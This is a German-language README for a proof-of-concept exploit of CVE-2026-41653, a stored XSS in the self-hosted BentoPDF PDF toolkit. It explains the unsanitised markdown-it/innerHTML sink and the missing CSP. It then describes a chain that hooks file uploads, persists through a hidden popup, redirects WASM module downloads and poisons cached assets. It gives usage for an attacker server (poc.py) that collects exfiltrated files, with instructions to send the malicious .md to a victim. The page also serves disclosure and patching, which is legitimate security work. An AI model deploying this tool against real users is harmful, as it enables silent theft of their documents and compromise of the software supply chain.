
Proof-of-Concept-Exploit für CVE-2026-41653, eine gespeicherte XSS-Schwachstelle in BentoPDF, die eine stille Datei-Exfiltration und die Übernahme der WASM-Lieferkette ermöglicht.
Entdeckt und gemeldet von: Astaruf
Vollständiger Bericht: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/
Upstream-Advisory: alam00000/bentopdf GHSA-Advisory
NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2026-41653
BentoPDF ist eine selbst gehostete, browserbasierte PDF-Werkzeugsammlung (Komprimieren, Zusammenführen, Teilen, Drehen, Konvertieren, Markdown-zu-PDF usw.).
Das Markdown-zu-PDF-Werkzeug leitet benutzerbereitgestelltes Markdown durch markdown-it mit html: true und injiziert die gerenderte Ausgabe direkt über innerHTML ohne Sanitisierung in das DOM. Ein Angreifer, der eine präparierte .md-Datei ausliefert, erreicht die Ausführung beliebigen JavaScripts in der BentoPDF-Origin.
Da BentoPDF eine vollständig clientseitige Anwendung ist, laden und verarbeiten alle Werkzeuge (PDF komprimieren, PDF zusammenführen, PDF teilen usw.) Dateien direkt im Browser des Opfers. Ein einzelnes XSS reicht daher aus, um jedes Dokument, das das Opfer während der Sitzung in einem beliebigen Werkzeug öffnet, stillschweigend zu exfiltrieren.
Angreifer sendet report.md (enthält )
-> Opfer öffnet sie in Markdown-zu-PDF
-> markdown-it rendert rohes HTML (html: true)
-> preview.innerHTML = html (kein DOMPurify)
-> poc_payload.js wird vom Server des Angreifers geladen (kein CSP)
-> FileReader + <input type=file> app-weit eingehakt
-> verstecktes Popup injiziert Hooks bei jeder Werkzeug-Navigation erneut
-> jede Datei, die das Opfer öffnet, wird stillschweigend exfiltriert
localStorage['bentopdf:wasm-providers'] und leitet Downloads der WASM-Module von PyMuPDF, Ghostscript und cpdf auf einen vom Angreifer kontrollierten Host um.window.opener ab und injiziert Datei-Hooks bei jeder Navigation des Opfers zu einem anderen Werkzeug erneut, wodurch der Zugriff über die gesamte Sitzung aufrechterhalten wird.bentopdf-*-Cache, indem sie einen Exfiltrations-Hook an jede /assets/*.js-Datei anhängt, die dem Browser über die aktuelle Sitzung hinaus ausgeliefert wird.markdown-it (CWE-79)src/js/utils/markdown-editor.ts (Zeilen 271–272):
private mdOptions: MarkdownItOptions = {
html: true, // rohe HTML-Tags passieren den Markdown-Parser
breaks: false,
linkify: true,
typographer: true,
};
Tags wie ``, <svg>, <details> sowie alle Event-Handler-Attribute (onerror, onload, ontoggle) werden unverändert an das DOM weitergegeben.
innerHTML-Injektion (CWE-116)src/js/utils/markdown-editor.ts (Zeilen 689–694):
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html; // vom Angreifer kontrolliertes HTML wird ins DOM injiziert
this.renderMermaidDiagrams();
}
Zwischen markdown-it und innerHTML wird keine Sanitisierungsbibliothek angewendet. Der Browser parst die injizierte Zeichenkette, trifft auf den Inline-Event-Handler und führt ihn sofort aus.
nginx.conf wird ohne Content-Security-Policy-Header ausgeliefert. Injiziertes JavaScript kann frei externe Skripte laden, fetch()-Anfragen an beliebige Hosts senden und Popup-Fenster öffnen. Eine restriktive CSP hätte selbst bei intaktem Sink die Stufe des Ladens externer Skripte verhindert.
# Starte den Angreifer-Server für die Exfiltration
python3 poc.py --lhost <DEINE_IP> --lport 9999
# poc.py wird:
# - die poc_report.md-Payload im aktuellen Verzeichnis erzeugen
# - auf Callbacks und exfiltrierte Dateien des Opfers lauschen
Sende poc_report.md an das Opfer und bitte es, die Datei in BentoPDF → Markdown-zu-PDF zu öffnen. Die Payload feuert in dem Moment, in dem die Vorschau gerendert wird, und alle Dateien, die das Opfer in Zukunft hochlädt, werden an den Server des Angreifers exfiltriert.
| Option | Standard | Beschreibung |
|---|---|---|
--lhost | erforderlich | IP, die vom Browser des Opfers erreichbar ist |
--lport | 9999 | Lauschport |
--loot-dir | ./loot/ | Verzeichnis, in dem exfiltrierte Dateien gespeichert werden |
--log-file | keine | Hängt alle Ereignisse an eine Datei an (ANSI-Codes entfernt) |
--no-color | aus | Deaktiviert ANSI-Farben in der Terminalausgabe |
1. Angreifer-Server mit --lhost und --lport gestartet. Die bösartige poc_report.md wird automatisch erzeugt.
$ python3 poc.py --lhost 127.0.0.1 --lport 9999
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
BentoPDF <= 2.8.1 - Markdown-zu-PDF Stored XSS -> Datei-Exfiltration
PoC von Astaruf (https://nstsec.com)
========================================================================
Exfiltrations-Server: http://127.0.0.1:9999
Payload: http://127.0.0.1:9999/poc_payload.js
Loot-Verzeichnis: /home/kali/loot
========================================================================
Bösartige .md-Datei bereit: /home/kali/poc_report.md
Sende sie an das Opfer und bitte es, sie im Markdown-zu-PDF-Werkzeug zu öffnen.
Die Payload feuert, sobald die Vorschau gerendert wird.
========================================================================
Warte auf Opfer...
2. Das Opfer öffnet das Markdown-zu-PDF-Werkzeug in BentoPDF.

3. Das Opfer lädt poc_report.md. Die Vorschau wird gerendert, `` kann nicht geladen werden, onerror feuert. poc_payload.js wird ohne blockierendes CSP vom Server des Angreifers abgerufen.
